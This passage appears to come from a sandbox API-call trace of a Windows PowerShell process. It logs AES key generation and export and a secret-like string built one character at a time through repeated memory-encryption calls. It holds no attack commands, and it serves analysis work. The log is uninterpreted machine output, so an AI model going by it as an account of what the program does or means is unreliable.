lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0190.886] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0190.887] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23807d8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x23807d8*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0190.887] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0190.887] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0190.888] EtwEventActivityIdControl () returned 0x0 [0190.888] EtwEventActivityIdControl () returned 0x0 [0190.888] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.888] EtwEventActivityIdControl () returned 0x0 [0190.888] EtwEventActivityIdControl () returned 0x0 [0190.889] EtwEventActivityIdControl () returned 0x0 [0190.891] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.891] EtwEventActivityIdControl () returned 0x0 [0190.892] EtwEventActivityIdControl () returned 0x0 [0190.892] EtwEventActivityIdControl () returned 0x0 [0190.894] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x3742b0) returned 1 [0190.896] CryptGenKey (in: hProv=0x3742b0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69080) returned 1 [0190.896] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.896] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0190.896] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23884ac, pdwDataLen=0x5a2e79c | out: pbData=0x23884ac*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0190.896] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.897] EtwEventActivityIdControl () returned 0x0 [0190.897] EtwEventActivityIdControl () returned 0x0 [0190.897] EtwEventActivityIdControl () returned 0x0 [0190.898] SysStringLen (param_1="") returned 0x8 [0190.898] SysStringLen (param_1="w") returned 0x8 [0190.898] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.898] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0190.898] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0190.898] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.899] SysStringLen (param_1="wI") returned 0x8 [0190.899] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.899] SysStringLen (param_1="⠧큙骢\꧚첖궼⊩) returned 0x8 [0190.899] SysStringLen (param_1="⠧큙骢\꧚첖궼⊩) returned 0x8 [0190.899] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.899] SysStringLen (param_1="wIn") returned 0x8 [0190.899] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.899] SysStringLen (param_1="鸮砎钤쳛䀌笨ӭ痐") returned 0x8 [0190.899] SysStringLen (param_1="鸮砎钤쳛䀌笨ӭ痐") returned 0x8 [0190.899] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.900] SysStringLen (param_1="wIn0") returned 0x8 [0190.900] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.900] SysStringLen (param_1="䋯凫쭺౎灹䝽컄") returned 0x8 [0190.900] SysStringLen (param_1="䋯凫쭺౎灹䝽컄") returned 0x8 [0190.900] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.900] SysStringLen (param_1="wIn0W") returned 0x8 [0190.900] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.900] SysStringLen (param_1="◍\닝ᵚ㺤搼췾ᒣ≪) returned 0x8 [0190.900] SysStringLen (param_1="◍\닝ᵚ㺤搼췾ᒣ≪) returned 0x8 [0190.900] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.901] SysStringLen (param_1="wIn0WX") returned 0x8 [0190.901] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.901] SysStringLen (param_1="㠅䫤䫦覴ㇵ컢") returned 0x8 [0190.901] SysStringLen (param_1="㠅䫤䫦覴ㇵ컢") returned 0x8 [0190.901] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.901] SysStringLen (param_1="wIn0WXQ") returned 0x8 [0190.901] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.901] SysStringLen (param_1="씋㾀㶹罢⤦Ʃⴀ᡻") returned 0x8 [0190.901] SysStringLen (param_1="씋㾀㶹罢⤦Ʃⴀ᡻") returned 0x8 [0190.901] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.902] SysStringLen (param_1="wIn0WXQJ") returned 0x8 [0190.902] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.902] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻") returned 0x8 [0190.902] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻") returned 0x8 [0190.902] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻") returned 0x8 [0190.902] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻") returned 0x10 [0190.902] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.903] SysStringLen (param_1="wIn0WXQJ9崗勠㾥變") returned 0x10 [0190.903] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.903] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻䓚虳ℙ\凜㒵雐־≢) returned 0x10 [0190.903] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻䓚虳ℙ\凜㒵雐־≢) returned 0x10 [0190.903] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.903] SysStringLen (param_1="wIn0WXQJ9K崗勠㾥變") returned 0x10 [0190.903] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.903] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻阱\㧝⋘䀱埈덮∥) returned 0x10 [0190.903] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻阱\㧝⋘䀱埈덮∥) returned 0x10 [0190.903] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.904] SysStringLen (param_1="wIn0WXQJ9Kp崗勠㾥變") returned 0x10 [0190.904] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.904] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻႑晇ꏧ碛㊃楢붧闕") returned 0x10 [0190.904] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻႑晇ꏧ碛㊃楢붧闕") returned 0x10 [0190.904] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.904] SysStringLen (param_1="wIn0WXQJ9Kpr勠㾥變") returned 0x10 [0190.904] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.904] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻汸辕讷⥹狝㎺焿轚") returned 0x10 [0190.904] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻汸辕讷⥹狝㎺焿轚") returned 0x10 [0190.904] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.905] SysStringLen (param_1="wIn0WXQJ9Kpr2勠㾥變") returned 0x10 [0190.905] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.905] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻烙谓痈ᫎ포⭼쾹") returned 0x10 [0190.905] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻烙谓痈ᫎ포⭼쾹") returned 0x10 [0190.905] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.905] SysStringLen (param_1="wIn0WXQJ9Kpr2/㾥變") returned 0x10 [0190.905] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.905] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻샿圃峝Ɜ䨡瑰秨") returned 0x10 [0190.905] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻샿圃峝Ɜ䨡瑰秨") returned 0x10 [0190.905] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.906] SysStringLen (param_1="wIn0WXQJ9Kpr2/J變") returned 0x10 [0190.906] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.906] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻犛⯓휑覺✻걜罃歡") returned 0x10 [0190.906] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻犛⯓휑覺✻걜罃歡") returned 0x10 [0190.906] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.906] SysStringLen (param_1="wIn0WXQJ9Kpr2/JC") returned 0x10 [0190.906] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.906] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉") returned 0x10 [0190.907] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉") returned 0x10 [0190.907] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉") returned 0x10 [0190.907] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉") returned 0x18 [0190.907] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.907] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk즶折ᇾ䖭ᝀ") returned 0x18 [0190.907] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.907] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉跅磛䆞絪䙂暩ቃ聒") returned 0x18 [0190.907] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉跅磛䆞絪䙂暩ቃ聒") returned 0x18 [0190.907] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.908] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2折ᇾ䖭ᝀ") returned 0x18 [0190.908] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.908] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉쁔ꎂ㊞䰅麗㖍뤣ꫭ") returned 0x18 [0190.908] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉쁔ꎂ㊞䰅麗㖍뤣ꫭ") returned 0x18 [0190.908] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.908] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2Yᇾ䖭ᝀ") returned 0x18 [0190.908] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.908] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉쳁ᔫ姹舙羊㐩") returned 0x18 [0190.908] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉쳁ᔫ姹舙羊㐩") returned 0x18 [0190.908] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.909] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2Yaᇾ䖭ᝀ") returned 0x18 [0190.909] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.909] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉畖ᔂ맶۝奼㱼囿謟") returned 0x18 [0190.909] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉畖ᔂ맶۝奼㱼囿謟") returned 0x18 [0190.909] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.909] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaA䖭ᝀ") returned 0x18 [0190.909] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.909] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉㞦콵奈畒坡倂馆") returned 0x18 [0190.909] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉㞦콵奈畒坡倂馆") returned 0x18 [0190.909] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.910] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADᝀ") returned 0x18 [0190.910] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.910] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉몦죗秮砩庝爵띴") returned 0x18 [0190.910] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉몦죗秮砩庝爵띴") returned 0x18 [0190.910] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.910] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADk") returned 0x18 [0190.910] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.910] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉냗垱ⳟ짠ⵒ㹵虘") returned 0x18 [0190.910] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉냗垱ⳟ짠ⵒ㹵虘") returned 0x18 [0190.910] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.911] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp") returned 0x18 [0190.911] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.911] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪") returned 0x18 [0190.912] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪") returned 0x18 [0190.912] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪") returned 0x18 [0190.912] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪") returned 0x20 [0190.912] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.912] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp3䣕敒齇Ⴋ퀎湅掑") returned 0x20 [0190.912] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.912] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪ᵺ숃麣ﳹᄻꬫႜ켐") returned 0x20 [0190.912] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪ᵺ숃麣ﳹᄻꬫႜ켐") returned 0x20 [0190.912] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.913] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30敒齇Ⴋ퀎湅掑") returned 0x20 [0190.913] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.913] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪㨱阮⹏\⃙渰ꉰ⊑) returned 0x20 [0190.913] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪㨱阮⹏\⃙渰ꉰ⊑) returned 0x20 [0190.913] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.913] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30e齇Ⴋ퀎湅掑") returned 0x20 [0190.913] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.913] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪\蓜覌萗驸뎓ꔠ「≶) returned 0x20 [0190.913] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪\蓜覌萗驸뎓ꔠ「≶) returned 0x20 [0190.913] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.914] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eXႫ퀎湅掑") returned 0x20 [0190.914] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.914] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪鈧紨荂뼠眚㝢") returned 0x20 [0190.914] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪鈧紨荂뼠眚㝢") returned 0x20 [0190.914] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.914] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3퀎湅掑") returned 0x20 [0190.914] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.914] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪齭뉱泎ꮶᄷ") returned 0x20 [0190.914] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪齭뉱泎ꮶᄷ") returned 0x20 [0190.915] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.915] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3G湅掑") returned 0x20 [0190.915] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.915] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪枎ìՋ짝ꇧ돐銌") returned 0x20 [0190.915] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪枎ìՋ짝ꇧ돐銌") returned 0x20 [0190.915] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.915] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3Gj掑") returned 0x20 [0190.915] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.915] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪蘙馤龏澆㑳褒쥠娇") returned 0x20 [0190.915] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪蘙馤龏澆㑳褒쥠娇") returned 0x20 [0190.916] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.916] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO") returned 0x20 [0190.916] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.916] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹") returned 0x20 [0190.916] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹") returned 0x20 [0190.916] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹") returned 0x20 [0190.916] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹") returned 0x28 [0190.917] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.917] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6쓵븒餓눉引ン") returned 0x28 [0190.917] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.917] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹懥紐቙뎧埒㯺ᵅ\⋛) returned 0x28 [0190.917] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹懥紐቙뎧埒㯺ᵅ\⋛) returned 0x28 [0190.917] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.917] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m븒餓눉引ン") returned 0x28 [0190.917] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.917] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹萲귣莢ཥᏹ湶鞌왦") returned 0x28 [0190.918] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹萲귣莢ཥᏹ湶鞌왦") returned 0x28 [0190.918] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.918] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1餓눉引ン") returned 0x28 [0190.918] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.918] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹\귘继㜠措䱯읆⋊) returned 0x28 [0190.918] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹\귘继㜠措䱯읆⋊) returned 0x28 [0190.918] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.918] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1z눉引ン") returned 0x28 [0190.918] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.918] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹廞⼌罏졉⍐陋齇试") returned 0x28 [0190.918] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹廞⼌罏졉⍐陋齇试") returned 0x28 [0190.919] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.919] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1zO引ン") returned 0x28 [0190.919] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.919] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹荕㷤喀ࣼ讬㋤䱒") returned 0x28 [0190.919] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹荕㷤喀ࣼ讬㋤䱒") returned 0x28 [0190.919] SystemFunction041 (in: 